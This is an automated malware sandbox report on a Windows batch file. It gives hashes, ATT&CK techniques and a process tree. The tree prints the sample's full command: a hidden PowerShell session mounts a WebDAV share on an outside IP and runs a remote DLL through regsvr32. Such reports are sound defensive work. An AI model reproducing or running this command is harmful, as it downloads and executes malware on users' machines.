a579d86233944db5f5eb3f08f4f91daf5604d800f2071ade8c48cd341b88fdb4

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 02:52

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General

Target

19371277702453923484.bat
Size

14KB
MD5

9ee28eaac6dfa9816f29efe8de28bd38
SHA1

e06b2be282f8f60027d0f43d90a14333dd5a1d7b
SHA256

a579d86233944db5f5eb3f08f4f91daf5604d800f2071ade8c48cd341b88fdb4
SHA512

4342f12aaec5d6c6082edb559ac7a1d24135578314791a720d6c166b6a610a5a19f74ca5718437ca78e76725a5a117b90d579c273601a29f30f5368758dc47a4
SSDEEP

384:3GONkk1YsWvTagLKHVGFGQuvGtaHwgYgnEqf/RT:3GONValOHVGFHiw1grZT

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2604	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2768	wordpad.exe
2768	wordpad.exe
2768	wordpad.exe
2768	wordpad.exe
2768	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2768	2772	cmd.exe	31
PID 2772 wrote to memory of 2768	2772	cmd.exe	31
PID 2772 wrote to memory of 2768	2772	cmd.exe	31
PID 2772 wrote to memory of 2604	2772	cmd.exe	32
PID 2772 wrote to memory of 2604	2772	cmd.exe	32
PID 2772 wrote to memory of 2604	2772	cmd.exe	32
PID 2604 wrote to memory of 2648	2604	powershell.exe	34
PID 2604 wrote to memory of 2648	2604	powershell.exe	34
PID 2604 wrote to memory of 2648	2604	powershell.exe	34
PID 2604 wrote to memory of 2976	2604	powershell.exe	35
PID 2604 wrote to memory of 2976	2604	powershell.exe	35
PID 2604 wrote to memory of 2976	2604	powershell.exe	35
PID 2604 wrote to memory of 2976	2604	powershell.exe	35
PID 2604 wrote to memory of 2976	2604	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\19371277702453923484.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\247512992718565.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2648
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\247512992718565.dll
    3⤵
    PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2604-24-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2604-25-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2772-17-0x0000000002410000-0x0000000002510000-memory.dmp

Filesize
1024KB

Download
memory/2772-16-0x0000000002410000-0x0000000002510000-memory.dmp

Filesize
1024KB

Download